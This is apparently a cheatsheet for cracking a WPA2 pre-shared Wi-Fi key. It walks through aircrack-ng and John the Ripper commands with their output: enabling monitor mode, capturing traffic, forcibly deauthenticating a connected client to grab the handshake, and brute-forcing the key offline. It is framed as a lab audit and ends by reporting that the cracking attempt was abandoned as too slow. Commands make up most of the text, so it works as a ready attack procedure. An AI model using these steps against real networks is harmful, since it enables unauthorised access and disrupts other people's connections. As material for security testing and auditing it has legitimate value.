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Cheatsheet : Cracking WPA2 PSK with Backtrack 4, aircrack-ng and John The Ripper
Basic steps :
- Put interface in monitor mode
- Find wireless network (protected with WPA2 and a Pre Shared Key)
- Capture all packets
- Wait until you see a client and deauthenticate the client, so the handshake can be captured
- Crack the key using a dictionary file (or via John The Ripper)
I’ll use a Dlink DWL-G122 (USB) wireless network interface for this procedure. In backtrack4, this device is recognized as wlan0.
First, put the card in monitor mode :
root@bt:~# airmon-ng Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) ath1 Atheros madwifi-ng VAP (parent: wifi0) wlan0 Ralink 2573 USB rt73usb - [phy0] root@bt:~# airmon-ng start wlan0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) ath1 Atheros madwifi-ng VAP (parent: wifi0) wlan0 Ralink 2573 USB rt73usb - [phy0] (monitor mode enabled on mon0)
Ok, we can now use interface mon0
Let’s find a wireless network that uses WPA2 / PSK :
root@bt:~# airodump-ng mon0 CH 6 ][ Elapsed: 4 s ][ 2009-02-21 12:57 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:19:5B:52:AD:F7 -33 5 0 0 10 54 WPA2 CCMP PSK TestNet BSSID STATION PWR Rate Lost Packets Probe 00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -29 0- 1 12 4 TestNet
Stop airodump-ng and run it again, writing all packets to disk :
airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2
At this point, you have 2 options : either wait until a client connects and the 4-way handshake is complete, or deauthenticate an existing client and thus force it to reassociate. Time is money, so let’s force the deauthenticate. We need the bssid of the AP (-a) and the mac of a connected client (-c)
root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0 13:04:19 Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10 13:04:20 Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]
As a result, airodump-ng should indicate “WPA Handshake:” in the upper right corner
CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:19:5B:52:AD:F7 -33 100 1338 99 0 10 54 WPA2 CCMP PSK TestNet BSSID STATION PWR Rate Lost Packets Probe 00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -27 54-54 0 230
Stop airodump-ng and make sure the files were created properly
root@bt:/# ls /tmp/wpa2* -al -rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap -rw-r--r-- 1 root root 476 2009-02-21 13:04 /tmp/wpa2-01.csv -rw-r--r-- 1 root root 590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv
Form this point forward, you do not need to be anywhere near the wireless network. All cracking will happen offline, so you can stop airodump and other processes and even walk away from the AP. In fact, I would suggest to walk away and find yourself a cosy place where you can live, eat, sleep, etc…. Cracking a WPA2 PSK key is based on bruteforcing, and it can take a very very long time. There are 2 ways of bruteforcing : one that is relatively fast but does not guarantee success and one that is very slow, but guarantees that you will find the key at some point in time
The first option is by using a worklist/drstionary file. A lot of these files can be found on the internet (e.g. www.theargon.com or on packetstorm (see the archives)), or can be generated with tools such as John The Ripper. Once the wordlist is created, all you need to do is run aircrack-ng with the worklist and feed it the .cap fie that contains the WPA2 Handshake.
So if your wordlist is called word.lst (under /tmp/wordlists), you can run
aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap
root@bt:~# /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w - /tmp/wpa2*.cap
(Note : the PSK in my testlab is only 8 characters, contains one uppercase character and 4 numbers). I will post the output when the key was cracked, including the time it required to crack the key.
Update :after 20 hours of cracking, the key still has not been found. The system I’m using to crack the keys is not very fast, but let’s look at some facts :
8 characters, plain characters (lowercase and uppercase) or digits = each character in the key could has 26+26+10 (62) possible combinations. So the maximum number of combinations that need to be checked in the bruteforce process is 62 * 62 * 62 * 62 * 62 * 62 * 62 * 62 = 218 340 105 584 896 At about 600 keys per second on my “slow” system, it could take more than 101083382 hours to find the key (11539 year). I have stopped the cracking process as my machine is way too slow to crack the key while I’m still alive… So think about this when doing a WPA2 PSK Audit.
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